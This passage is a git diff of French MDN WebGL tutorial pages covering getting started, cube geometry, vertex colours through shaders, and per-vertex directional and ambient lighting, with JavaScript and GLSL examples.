-    -1.0,  1.0,  1.0,
-
-    // Face arrière
-    -1.0, -1.0, -1.0,
-    -1.0,  1.0, -1.0,
-     1.0,  1.0, -1.0,
-     1.0, -1.0, -1.0,
-
-    // Face supérieure
-    -1.0,  1.0, -1.0,
-    -1.0,  1.0,  1.0,
-     1.0,  1.0,  1.0,
-     1.0,  1.0, -1.0,
-
-    // Face inférieure
-    -1.0, -1.0, -1.0,
-     1.0, -1.0, -1.0,
-     1.0, -1.0,  1.0,
-    -1.0, -1.0,  1.0,
-
-    // Face droite
-     1.0, -1.0, -1.0,
-     1.0,  1.0, -1.0,
-     1.0,  1.0,  1.0,
-     1.0, -1.0,  1.0,
-
-    // Face gauche
-    -1.0, -1.0, -1.0,
-    -1.0, -1.0,  1.0,
-    -1.0,  1.0,  1.0,
-    -1.0,  1.0, -1.0
-  ];
-
- -

Du fait que nous avons ajouté une composante z à nos sommets, nous avons besoin de changer en 3 le numComponents de notre attribut vertexPosition.

- -
// Indiquer à WebGL comment extraire les positions du tampon des
-// positions dans l'attribut vertexPosition
-{
-  const numComponents = 3;
-  ...
-  gl.vertexAttribPointer(
-      programInfo.attribLocations.vertexPosition,
-      numComponents,
-      type,
-      normalize,
-      stride,
-      offset);
-  gl.enableVertexAttribArray(
-      programInfo.attribLocations.vertexPosition);
-}
- -

Définir les couleurs des sommets

- -

Nous avons aussi besoin de construire un tableau des couleurs pour chacun des 24 sommets. Ce code commence par définir une couleur pour chaque face, puis il utilise une boucle pour assembler le tableau de toutes les couleurs pour chacun des sommets.

- -
  const faceColors = [
-    [1.0,  1.0,  1.0,  1.0],    // Face avant : blanc
-    [1.0,  0.0,  0.0,  1.0],    // Face arrière : rouge
-    [0.0,  1.0,  0.0,  1.0],    // Face supérieure : vert
-    [0.0,  0.0,  1.0,  1.0],    // Face infiérieure : bleu
-    [1.0,  1.0,  0.0,  1.0],    // Face droite : jaune
-    [1.0,  0.0,  1.0,  1.0]     // Face gauche : violet
-  ];
-
-  // Conversion du tableau des couleurs en une table pour tous les sommets
-
-  var colors = [];
-
-  for (j=0; j<faceColors.length; j++) {
-    const c = faceColors[j];
-
-    // Répéter chaque couleur quatre fois pour les quatre sommets d'une face
-    colors = colors.concat(c, c, c, c);
-  }
-
-  const colorBuffer = gl.createBuffer();
-  gl.bindBuffer(gl.ARRAY_BUFFER, colorBuffer);
-  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(colors), gl.STATIC_DRAW);
-
- -

Définir le tableau des éléments

- -

Une fois que les tableaux des sommets sont générés, nous devons construire le tableau des éléments.

- -
  const indexBuffer = gl.createBuffer();
-  gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, indexBuffer);
-
-  // Ce tableau définit chaque face comme deux triangles, en utilisant les
-  // indices dans le tableau des sommets pour spécifier la position de chaque
-  // triangle.
-
-  const indices = [
-    0,  1,  2,      0,  2,  3,    // avant
-    4,  5,  6,      4,  6,  7,    // arrière
-    8,  9,  10,     8,  10, 11,   // haut
-    12, 13, 14,     12, 14, 15,   // bas
-    16, 17, 18,     16, 18, 19,   // droite
-    20, 21, 22,     20, 22, 23,   // gauche
-  ];
-
-  // Envoyer maintenant le tableau des éléments à GL
-
-  gl.bufferData(gl.ELEMENT_ARRAY_BUFFER,
-      new Uint16Array(indices), gl.STATIC_DRAW);
-
-  return {
-    position: positionBuffer,
-    color: colorBuffer,
-    indices: indexBuffer,
-  };
-}
- -

Le tableau indices définit chaque face comme étant une paire de triangles, en spécifiant chaque sommet du triangle comme un indice dans les tableaux des sommets du cube. Ainsi le cube est décrit comme une collection de 12 triangles.

- -

Dessiner le cube

- -

Ensuite, nous devons ajouter du code à notre fonction drawScene() pour dessiner le tampon des indices du cube, en ajoutant de nouveaux appels à {{domxref("WebGLRenderingContext.bindBuffer()", "gl.bindBuffer()")}} et {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}} :

- -
  // Indiquer à WebGL quels indices utiliser pour indexer les sommets
-  gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, tampons.indices);
-
-...
-
-  {
-    const vertexCount = 36;
-    const type = gl.UNSIGNED_SHORT;
-    const offset = 0;
-    gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);
-  }
- -

Du fait que chaque face de notre cube est composée de deux triangles, il y a 6 sommets par côté, soit 36 sommets au total dans le cube, même si beaucoup d'entre eux sont des doublons.

- -

Finalement, remplaçons notre variable squareRotation par cubeRotation et ajoutons une seconde rotation autour de l'axe des x :

- -
mat4.rotate(modelViewMatrix, modelViewMatrix, cubeRotation * .7, [0, 1, 0]);
- -

À ce stade, nous avons un cube animé en rotation, ses six faces ayant des couleurs assez vives.

- -

{{EmbedGHLiveSample('webgl-examples/tutorial/sample5/index.html', 670, 510) }}

- -

Voir le code complet | Ouvrir cette démo dans une nouvelle page

- -

{{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}

diff --git a/files/fr/web/api/webgl_api/tutorial/eclairage_en_webgl/index.html b/files/fr/web/api/webgl_api/tutorial/eclairage_en_webgl/index.html deleted file mode 100644 index db767fe9bb..0000000000 --- a/files/fr/web/api/webgl_api/tutorial/eclairage_en_webgl/index.html +++ /dev/null @@ -1,175 +0,0 @@ ---- -title: Éclairage en WebGL -slug: Web/API/WebGL_API/Tutorial/Eclairage_en_WebGL -translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL ---- -

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Utiliser_les_textures_avec_WebGL", "Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL")}}

- -

La première chose à comprendre à propos de WebGL est que contrairement au standard OpenGL, WebGL n'a pas de support pour l'éclairage. Vous avez à le faire par vous même. Heureusement ce n'est pas si dur à faire, et cet article va vous expliquer quelques bases.

- -

Simuler l'éclairage et les ombres en 3D

- -

Rentrer dans les détails de la théorie derrière la simulation de l'éclairage 3D est assez loin du sujet de cet article mais il vaut mieux en connaitre un minimum le sujet. Au lieu de rentrer dans le vif du sujet ici, jetez un coup d'oeil sur l'ombrage de Phong sur Wikipédia, qui fourni une bonne vue d'ensemble comme modèle d'éclairage.

- -

Il y a trois types basiques d'éclairage :

- -
    -
  1. Ambient light (Lumière Ambiante) est la lumière qui imprègne, qui se répand sur la scène. Elle n'a pas de direction et s'applique sur toutes les faces de la scène de la même façon.
    2. -
  2. Directional light (Lumière Directionnelle) est une lumière émise depuis une direction spécifique. Par exemple le soleil, est une lumière directionnelle.
    3. -
  3. Point light (Point de lumière) est une lumière émise depuis un point, éméttant une lumière dans toutes les directions, contrairement à la Lumière Directionnelle. C'est comme ceci que les lumières fonctionnent principalement dans notre monde, comme par exemple une ampoule.
    4. -
- -

Pour notre tutorial, nous allons simplifier le model d'éclairage, en considérant seulement une unique lumière directionnelle et une lumière ambiante. Nous allons réutiliser notre précédent exemple avec le cube en rotation.

- -

Une fois que nous avons appréhendé le concept de source et de réfléction de la lumière, il y a deux choses que nous avons besoin d'implémenter pour nos lumières directionnelles.

- -
    -
  1. Nous avons besoin d'associer la surface normale avec chaque sommet. C'est un vecteur qui est perpendiculaire à la face associé à ce sommet.
    2. -
  2. Nous avons besoin de connaître la direction dans laquelle la lumière arrive. Ceci est défini par la direction du vecteur.
    3. -
- -

Puis nous mettons à jour le vertex shader pour ajuster la couleur de chaque sommet. en prenant en compte la lumière ambiante ainsi que l'effet de la lumière directionnelle donné par l'angle qui rencontre la face du cube. Nous allons voir comment faire avec les shaders.

- -

Créer les normales pour les sommets

- -

La première chose dont nous avons besoin, est de générer le tableau des normales pour tous les sommets que constituent notre cube. Comme un cube est un simple objet, c'est plutôt simple à faire, évidemment pour des objets plus complexe, calculer les normales sera plus compliqué.

- -
cubeVerticesNormalBuffer = gl.createBuffer();
-gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesNormalBuffer);
-
-var vertexNormals = [
-  // Front
-   0.0,  0.0,  1.0,
-   0.0,  0.0,  1.0,
-   0.0,  0.0,  1.0,
-   0.0,  0.0,  1.0,
-
-  // Back
-   0.0,  0.0, -1.0,
-   0.0,  0.0, -1.0,
-   0.0,  0.0, -1.0,
-   0.0,  0.0, -1.0,
-
-  // Top
-   0.0,  1.0,  0.0,
-   0.0,  1.0,  0.0,
-   0.0,  1.0,  0.0,
-   0.0,  1.0,  0.0,
-
-  // Bottom
-   0.0, -1.0,  0.0,
-   0.0, -1.0,  0.0,
-   0.0, -1.0,  0.0,
-   0.0, -1.0,  0.0,
-
-  // Right
-   1.0,  0.0,  0.0,
-   1.0,  0.0,  0.0,
-   1.0,  0.0,  0.0,
-   1.0,  0.0,  0.0,
-
-  // Left
-  -1.0,  0.0,  0.0,
-  -1.0,  0.0,  0.0,
-  -1.0,  0.0,  0.0,
-  -1.0,  0.0,  0.0
-];
-
-gl.bufferData(gl.ARRAY_BUFFER, new WebGLFloatArray(vertexNormals), gl.STATIC_DRAW);
-
- -

Ceci doit vous être plutôt familier maintenant. Nous créons un nouveau buffer, on le lie avec le tableau sur lequel nous allons travailler, puis nous allons envoyer l'ensemble de notre tableau au buffer en appelant la méthode bufferData().

- -

Ensuite nous allons ajouter le code à la fonction drawScene() pour attacher le tableau de normales à l'attribut du shader, comme ça le code du shader y aura accès:

- -
gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesNormalBuffer);
-gl.vertexAttribPointer(vertexNormalAttribute, 3, gl.FLOAT, false, 0, 0);
-
- -

Enfin, nous avons besoin de mettre à jour le code qui construit les matrices uniformes pour générer et livrer au shader une matrice normale, qui sera utilisée pour transformer les normales en fonction de l'orientation actuelle du cube par rapport à la source de lumière.

- -
var normalMatrix = mvMatrix.inverse();
-normalMatrix = normalMatrix.transpose();
-var nUniform = gl.getUniformLocation(shaderProgram, 'uNormalMatrix');
-gl.uniformMatrix4fv(nUniform, false, new WebGLFloatArray(normalMatrix.flatten()));
-
- -

Mettre à jour les shaders

- -

Maintenant que les shaders ont toutes les données dont ils ont besoin, nous mettons à jour leur code.

- -

Le vertex shader

- -

La première chose à faire est de mettre à jour le vertex shader en générant une valeur pour l'ombre de chaque sommet, en se basant sur l'éclairage ambiant ainsi que la direction de la lumière. Jettons un oeil sur le code suivant:

- -
<script id="shader-vs" type="x-shader/x-vertex">
-  attribute highp vec3 aVertexNormal;
-  attribute highp vec3 aVertexPosition;
-  attribute highp vec2 aTextureCoord;
-
-  uniform highp mat4 uNormalMatrix;
-  uniform highp mat4 uMVMatrix;
-  uniform highp mat4 uPMatrix;
-
-  varying highp vec2 vTextureCoord;
-  varying highp vec3 vLighting;
-
-  void main(void) {
-    gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
-    vTextureCoord = aTextureCoord;
-
-    // Apply lighting effect
-
-    highp vec3 ambientLight = vec3(0.6, 0.6, 0.6);
-    highp vec3 directionalLightColor = vec3(0.5, 0.5, 0.75);
-    highp vec3 directionalVector = vec3(0.85, 0.8, 0.75);
-
-    highp vec4 transformedNormal = uNormalMatrix * vec4(aVertexNormal, 1.0);
-
-    highp float directional = max(dot(transformedNormal.xyz, directionalVector), 0.0);
-    vLighting = ambientLight + (directionalLightColor * directional);
-  }
-</script>
-
- -

Une fois que la position du sommet est calculée, et que nous obtenons les coordonnées des texels (tas de pixel pour une texture) correspondant au sommet, nous pouvons travailler sur le calcul de l'ombre de chaque sommet.

- -

La première chose que nous allons faire est de transformer la base normale sur la position actuelle et l'orientation du cube, en calculant les normales des sommets par la matrice normale. Nous pouvons alors calculer la quantité d'éclairage qui doit être appliquée au sommet en calculant le produit de la normale transformée et du vecteur directionnel (la direction d'où la lumière vient). Si le résultat est inférieur à zéro, alors on le met à 0. Car une lumière négative n'a pas de sens dans notre cas.

- -

Une fois la quantité de lumière directionnelle calculée, nous pouvons générer la valeur d'éclairage en prenant l'éclairage ambiant et en y ajoutant le produit de la couleur de la lumière directionnelle, et aussi la quantité de la lumière directionnelle à fournir. Comme résultat, nous avons maintenant une valeur RGB qui sera utilisé par le fragment shader pour ajuster la couleur de chaque pixel.

- -

Le fragment shader

- -

Le fragment shader a maintenant besoin d'être mis à jour en prenant en compte la quantité de lumière calculée précédemment par le vertex shader:

- -
<script id="shader-fs" type="x-shader/x-fragment">
-  varying highp vec2 vTextureCoord;
-  varying highp vec3 vLighting;
-
-  uniform sampler2D uSampler;
-
-  void main(void) {
-    mediump vec4 texelColor = texture2D(uSampler, vec2(vTextureCoord.s, vTextureCoord.t));
-
-    gl_FragColor = vec4(texelColor.rgb * vLighting, texelColor.a);
-  }
-</script>
-
- -

Ici nous récupérons la couleur de chaque texel (tas de pixel pour une texture) , comme nous avons fait pour l'exemple précédent, mais avant d'ajuster la couleur du fragment, nous multiplions la couleur des pixels par la quantité de lumière, pour appliquer l'effet d'éclairage.

- -

Et c'est tout !

- -

 

- -

{{EmbedGHLiveSample('webgl-examples/tutorial/sample7/index.html', 670, 510) }}

- -

Voir le code complet | Ouvrir cette démo dans une nouvelle page

- -

Exercices

- -

Évidemment, ceci est un simple exemple, une implémentation basique de calcul de lumière par sommet. Pour aller plus loin, nous voulons implémenter un calcul de lumière par pixel, mais ceci vous mènera dans la bonne direction. 

- -

Vous pouvez aussi implémenter avec la direction de source de lumière, la couleur de la source, la distance, etc..

- -

{{PreviousNext("Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL", "Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL")}}

diff --git a/files/fr/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html b/files/fr/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html new file mode 100644 index 0000000000..4388934aeb --- /dev/null +++ b/files/fr/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html @@ -0,0 +1,73 @@ +--- +title: Commencer avec WebGL +slug: Web/API/WebGL_API/Tutorial/Commencer_avec_WebGL +tags: + - Tutoriel + - WebGL +translation_of: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{Next("Web/API/WebGL_API/Tutorial/Ajouter_du_contenu_à_WebGL")}}WebGL permet à un contenu web d'utiliser l'API basée sur OpenGL ES 2.0 pour effectuer un rendu 2D et 3D dans un canvas dans les navigateurs qui le supportent, sans utilisation d'un module complémentaire. Les programmes WebGL sont constitués de code de contrôle écrit en JavaScript, et le code d'ombrage (GLSL) est exécuté dans l'Unité de Traitement Graphique (GPU) de l'ordinateur. Les éléments WebGL peuvent être mélangés avec d'autres éléments HTML, et composés d'autres parties de la page ou de l'arrière-plan de la page.

+ +

Cet article va vous donner une introduction aux bases de l'utilisation de WebGL. Il est supposé que vous avez déjà une compréhension des mathématiques impliquées dans les graphismes 3D, et cet article ne prétend pas vous enseigner les concepts des graphismes 3D par eux-mêmes.

+ +

Les exemples de code de ce tutoriel peuvent aussi être trouvés dans le webgl-examples GitHub repository.

+ +

Préparation au rendu 3D

+ +

La première chose dont vous avez besoin pour utiliser WebGL pour faire un rendu est un canvas. Le fragment d'HTML ci-dessous déclare un canvas dans lequel notre exemple se dessinera.

+ +
<body>
+  <canvas id="glCanvas" width="640" height="480"></canvas>
+</body>
+
+ +
+

Préparation du contexte WebGL

+ +

La fonction main() dans notre code JavaScript est appelée quand notre script est chargé. Son but est de créer le contexte WebGL et de commencer à rendre du contenu.

+ +
main();
+
+//
+// Début ici
+//
+function main() {
+  const canvas = document.querySelector("#glCanvas");
+  // Initialisation du contexte WebGL
+  const gl = canvas.getContext("webgl");
+
+  // Continuer seulement si WebGL est disponible et fonctionnel
+  if (!gl) {
+    alert("Impossible d'initialiser WebGL. Votre navigateur ou votre machine peut ne pas le supporter.");
+    return;
+  }
+
+  // Définir la couleur d'effacement comme étant le noir, complètement opaque
+  gl.clearColor(0.0, 0.0, 0.0, 1.0);
+  // Effacer le tampon de couleur avec la couleur d'effacement spécifiée
+  gl.clear(gl.COLOR_BUFFER_BIT|gl.DEPTH_BUFFER_BIT);
+}
+
+ +

La première chose que nous faisons ici est d'obtenir une référence au canvas, en l'affectant à une variable dénommée canvas.

+ +

Une fois que nous avons le canvas, nous essayons de lui obtenir un WebGLRenderingContext, en appelant getContext et en lui passant la chaîne "webgl". Si le navigateur ne supporte pas WebGL, getContext retournera null, auquel cas nous afficherons un message pour l'utilisateur, et nous sortirons.

+ +

Si le contexte est initialisé avec succès, la variable gl sera notre référence à celui-ci. Dans ce cas, nous définissons la couleur d'effacement comme étant le noir, et nous effaçons le contexte avec cette couleur (redessin du canvas avec la couleur d'arrière-plan).

+ +

A ce stade, votre code est suffisant pour que le contexte WebGL puisse s'initialiser avec succès, et vous devriez vous retrouver avec une grande boîte noire et vide, prête à - et attendant de - recevoir du contenu.

+ +

{{EmbedGHLiveSample('webgl-examples/tutorial/sample1/index.html', 670, 510) }}

+ +

Voir le code complet | Ouvrir cette démo dans une nouvelle page

+ +

Voir aussi

+ +
    +
  • An introduction to WebGL : écrite par Luz Caballero, publiée sur dev.opera.com. Cet article traite de ce qu'est WebGL, explique comment WebGL fonctionne (incluant le concept de pipeline de rendu), et présente quelques bibliothèques WebGL.
    • +
  • WebGL Fundamentals
    • +
  • An intro to modern OpenGL : une série de bons articles sur OpenGL écrits par Joe Groff, fournissant une introduction claire à OpenGL, depuis son histoire jusqu'au concept important de pipeline de graphismes, qui comprend aussi quelques exemples montrant comment OpenGL fonctionne. Si vous n'avez aucune idée de ce qu'est OpenGL, c'est un bon endroit pour commencer.
    • +
+ +

{{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}

+
diff --git a/files/fr/web/api/webgl_api/tutorial/lighting_in_webgl/index.html b/files/fr/web/api/webgl_api/tutorial/lighting_in_webgl/index.html new file mode 100644 index 0000000000..db767fe9bb --- /dev/null +++ b/files/fr/web/api/webgl_api/tutorial/lighting_in_webgl/index.html @@ -0,0 +1,175 @@ +--- +title: Éclairage en WebGL +slug: Web/API/WebGL_API/Tutorial/Eclairage_en_WebGL +translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Utiliser_les_textures_avec_WebGL", "Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL")}}

+ +

La première chose à comprendre à propos de WebGL est que contrairement au standard OpenGL, WebGL n'a pas de support pour l'éclairage. Vous avez à le faire par vous même. Heureusement ce n'est pas si dur à faire, et cet article va vous expliquer quelques bases.

+ +

Simuler l'éclairage et les ombres en 3D

+ +

Rentrer dans les détails de la théorie derrière la simulation de l'éclairage 3D est assez loin du sujet de cet article mais il vaut mieux en connaitre un minimum le sujet. Au lieu de rentrer dans le vif du sujet ici, jetez un coup d'oeil sur l'ombrage de Phong sur Wikipédia, qui fourni une bonne vue d'ensemble comme modèle d'éclairage.

+ +

Il y a trois types basiques d'éclairage :

+ +
    +
  1. Ambient light (Lumière Ambiante) est la lumière qui imprègne, qui se répand sur la scène. Elle n'a pas de direction et s'applique sur toutes les faces de la scène de la même façon.
    2. +
  2. Directional light (Lumière Directionnelle) est une lumière émise depuis une direction spécifique. Par exemple le soleil, est une lumière directionnelle.
    3. +
  3. Point light (Point de lumière) est une lumière émise depuis un point, éméttant une lumière dans toutes les directions, contrairement à la Lumière Directionnelle. C'est comme ceci que les lumières fonctionnent principalement dans notre monde, comme par exemple une ampoule.
    4. +
+ +

Pour notre tutorial, nous allons simplifier le model d'éclairage, en considérant seulement une unique lumière directionnelle et une lumière ambiante. Nous allons réutiliser notre précédent exemple avec le cube en rotation.

+ +

Une fois que nous avons appréhendé le concept de source et de réfléction de la lumière, il y a deux choses que nous avons besoin d'implémenter pour nos lumières directionnelles.

+ +
    +
  1. Nous avons besoin d'associer la surface normale avec chaque sommet. C'est un vecteur qui est perpendiculaire à la face associé à ce sommet.
    2. +
  2. Nous avons besoin de connaître la direction dans laquelle la lumière arrive. Ceci est défini par la direction du vecteur.
    3. +
+ +

Puis nous mettons à jour le vertex shader pour ajuster la couleur de chaque sommet. en prenant en compte la lumière ambiante ainsi que l'effet de la lumière directionnelle donné par l'angle qui rencontre la face du cube. Nous allons voir comment faire avec les shaders.

+ +

Créer les normales pour les sommets

+ +

La première chose dont nous avons besoin, est de générer le tableau des normales pour tous les sommets que constituent notre cube. Comme un cube est un simple objet, c'est plutôt simple à faire, évidemment pour des objets plus complexe, calculer les normales sera plus compliqué.

+ +
cubeVerticesNormalBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesNormalBuffer);
+
+var vertexNormals = [
+  // Front
+   0.0,  0.0,  1.0,
+   0.0,  0.0,  1.0,
+   0.0,  0.0,  1.0,
+   0.0,  0.0,  1.0,
+
+  // Back
+   0.0,  0.0, -1.0,
+   0.0,  0.0, -1.0,
+   0.0,  0.0, -1.0,
+   0.0,  0.0, -1.0,
+
+  // Top
+   0.0,  1.0,  0.0,
+   0.0,  1.0,  0.0,
+   0.0,  1.0,  0.0,
+   0.0,  1.0,  0.0,
+
+  // Bottom
+   0.0, -1.0,  0.0,
+   0.0, -1.0,  0.0,
+   0.0, -1.0,  0.0,
+   0.0, -1.0,  0.0,
+
+  // Right
+   1.0,  0.0,  0.0,
+   1.0,  0.0,  0.0,
+   1.0,  0.0,  0.0,
+   1.0,  0.0,  0.0,
+
+  // Left
+  -1.0,  0.0,  0.0,
+  -1.0,  0.0,  0.0,
+  -1.0,  0.0,  0.0,
+  -1.0,  0.0,  0.0
+];
+
+gl.bufferData(gl.ARRAY_BUFFER, new WebGLFloatArray(vertexNormals), gl.STATIC_DRAW);
+
+ +

Ceci doit vous être plutôt familier maintenant. Nous créons un nouveau buffer, on le lie avec le tableau sur lequel nous allons travailler, puis nous allons envoyer l'ensemble de notre tableau au buffer en appelant la méthode bufferData().

+ +

Ensuite nous allons ajouter le code à la fonction drawScene() pour attacher le tableau de normales à l'attribut du shader, comme ça le code du shader y aura accès:

+ +
gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesNormalBuffer);
+gl.vertexAttribPointer(vertexNormalAttribute, 3, gl.FLOAT, false, 0, 0);
+
+ +

Enfin, nous avons besoin de mettre à jour le code qui construit les matrices uniformes pour générer et livrer au shader une matrice normale, qui sera utilisée pour transformer les normales en fonction de l'orientation actuelle du cube par rapport à la source de lumière.

+ +
var normalMatrix = mvMatrix.inverse();
+normalMatrix = normalMatrix.transpose();
+var nUniform = gl.getUniformLocation(shaderProgram, 'uNormalMatrix');
+gl.uniformMatrix4fv(nUniform, false, new WebGLFloatArray(normalMatrix.flatten()));
+
+ +

Mettre à jour les shaders

+ +

Maintenant que les shaders ont toutes les données dont ils ont besoin, nous mettons à jour leur code.

+ +

Le vertex shader

+ +

La première chose à faire est de mettre à jour le vertex shader en générant une valeur pour l'ombre de chaque sommet, en se basant sur l'éclairage ambiant ainsi que la direction de la lumière. Jettons un oeil sur le code suivant:

+ +
<script id="shader-vs" type="x-shader/x-vertex">
+  attribute highp vec3 aVertexNormal;
+  attribute highp vec3 aVertexPosition;
+  attribute highp vec2 aTextureCoord;
+
+  uniform highp mat4 uNormalMatrix;
+  uniform highp mat4 uMVMatrix;
+  uniform highp mat4 uPMatrix;
+
+  varying highp vec2 vTextureCoord;
+  varying highp vec3 vLighting;
+
+  void main(void) {
+    gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
+    vTextureCoord = aTextureCoord;
+
+    // Apply lighting effect
+
+    highp vec3 ambientLight = vec3(0.6, 0.6, 0.6);
+    highp vec3 directionalLightColor = vec3(0.5, 0.5, 0.75);
+    highp vec3 directionalVector = vec3(0.85, 0.8, 0.75);
+
+    highp vec4 transformedNormal = uNormalMatrix * vec4(aVertexNormal, 1.0);
+
+    highp float directional = max(dot(transformedNormal.xyz, directionalVector), 0.0);
+    vLighting = ambientLight + (directionalLightColor * directional);
+  }
+</script>
+
+ +

Une fois que la position du sommet est calculée, et que nous obtenons les coordonnées des texels (tas de pixel pour une texture) correspondant au sommet, nous pouvons travailler sur le calcul de l'ombre de chaque sommet.

+ +

La première chose que nous allons faire est de transformer la base normale sur la position actuelle et l'orientation du cube, en calculant les normales des sommets par la matrice normale. Nous pouvons alors calculer la quantité d'éclairage qui doit être appliquée au sommet en calculant le produit de la normale transformée et du vecteur directionnel (la direction d'où la lumière vient). Si le résultat est inférieur à zéro, alors on le met à 0. Car une lumière négative n'a pas de sens dans notre cas.

+ +

Une fois la quantité de lumière directionnelle calculée, nous pouvons générer la valeur d'éclairage en prenant l'éclairage ambiant et en y ajoutant le produit de la couleur de la lumière directionnelle, et aussi la quantité de la lumière directionnelle à fournir. Comme résultat, nous avons maintenant une valeur RGB qui sera utilisé par le fragment shader pour ajuster la couleur de chaque pixel.

+ +

Le fragment shader

+ +

Le fragment shader a maintenant besoin d'être mis à jour en prenant en compte la quantité de lumière calculée précédemment par le vertex shader:

+ +
<script id="shader-fs" type="x-shader/x-fragment">
+  varying highp vec2 vTextureCoord;
+  varying highp vec3 vLighting;
+
+  uniform sampler2D uSampler;
+
+  void main(void) {
+    mediump vec4 texelColor = texture2D(uSampler, vec2(vTextureCoord.s, vTextureCoord.t));
+
+    gl_FragColor = vec4(texelColor.rgb * vLighting, texelColor.a);
+  }
+</script>
+
+ +

Ici nous récupérons la couleur de chaque texel (tas de pixel pour une texture) , comme nous avons fait pour l'exemple précédent, mais avant d'ajuster la couleur du fragment, nous multiplions la couleur des pixels par la quantité de lumière, pour appliquer l'effet d'éclairage.

+ +

Et c'est tout !

+ +

 

+ +

{{EmbedGHLiveSample('webgl-examples/tutorial/sample7/index.html', 670, 510) }}

+ +

Voir le code complet | Ouvrir cette démo dans une nouvelle page

+ +

Exercices

+ +

Évidemment, ceci est un simple exemple, une implémentation basique de calcul de lumière par sommet. Pour aller plus loin, nous voulons implémenter un calcul de lumière par pixel, mais ceci vous mènera dans la bonne direction. 

+ +

Vous pouvez aussi implémenter avec la direction de source de lumière, la couleur de la source, la distance, etc..

+ +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL", "Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL")}}

diff --git a/files/fr/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html b/files/fr/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html new file mode 100644 index 0000000000..2bd786c015 --- /dev/null +++ b/files/fr/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html @@ -0,0 +1,117 @@ +--- +title: Ajouter des couleurs avec les nuanceurs +slug: Web/API/WebGL_API/Tutorial/Ajouter_des_couleurs_avec_les_shaders +tags: + - Tutoriel + - WebGL +translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}}

+ +

Dans la démonstration précédente, nous avons créé un carré 2D, la prochaine étape évidente consiste à lui appliquer de la couleur. Nous allons faire cela en révisant les nuanceurs.

+ +

Application de couleur aux sommets

+ +

En WebGL, les objets sont construits en utilisant des sommets, chacun d'entre eux ayant une position et une couleur ; par défaut, les couleurs des autres sommets (et tous leurs autres attributs, incluant leur position) sont calculés en utilisant une interpolation linéaire, créant ainsi automatiquement des dégradés. Précédemment, notre nuanceur de sommet n'appliquait aucunes couleurs spécifiques aux sommets ; entre cela et le fait que le nuanceur de fragment assignait la valeur blanche à chaque pixel, le carré entier était rendu en blanc uni.

+ +

Supposons que nous voulions faire un rendu en dégradé dans lequel chaque coin du carré est de couleur différente : rouge, bleu, vert et blanc. La première chose à faire est de définir ces couleurs pour les quatre sommets. Pour ce faire, nous devons d'abord créer un tableau des couleurs des sommets, puis le stocker dans un tampon WebGL ; nous le ferons en ajoutant le code suivant à notre fonction initBuffers() :

+ +
  const colors = [
+    1.0,  1.0,  1.0,  1.0,    // blanc
+    1.0,  0.0,  0.0,  1.0,    // rouge
+    0.0,  1.0,  0.0,  1.0,    // vert
+    0.0,  0.0,  1.0,  1.0,    // bleu
+  ];
+
+  const colorBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, colorBuffer);
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(colors), gl.STATIC_DRAW);
+
+  return {
+    position: positionBuffer,
+    color: colorBuffer,
+  };
+}
+ +

Ce code commence par créer un tableau JavaScript contenant des vecteurs à 4 valeurs, un pour chaque couleur de sommet. Un tampon WebGL est alors alloué pour stocker ces couleurs, et le tableau est converti en flottants et stocké dans le tampon.

+ +

Pour que ces couleurs soient effectivement utilisées, le nuanceur de sommet doit être mis à jour pour extraire la couleur appropriée du tampon des couleurs :

+ +
  const vsSource = `
+    attribute vec4 aVertexPosition;
+    attribute vec4 aVertexColor;
+
+    uniform mat4 uModelViewMatrix;
+    uniform mat4 uProjectionMatrix;
+
+    varying lowp vec4 vColor;
+
+    void main(void) {
+      gl_Position = uProjectionMatrix * uModelViewMatrix * aVertexPosition;
+      vColor = aVertexColor;
+    }
+  `;
+ +

La différence clé est ici que, pour chaque sommet, nous passons sa couleur au nuanceur de fragment en utilisant un varying.

+ +

Coloriage des fragments

+ +

Pour mémoire, voici à quoi ressemblait précédemment notre nuanceur de fragment :

+ +
  const fsSource = `
+    void main() {
+      gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
+    }
+  `;
+ +

Afin de choisir la couleur interpolée pour chaque pixel, nous devons le changer pour récupérer la valeur depuis le varying vColor :

+ +
  const fsSource = `
+    varying lowp vec4 vColor;
+
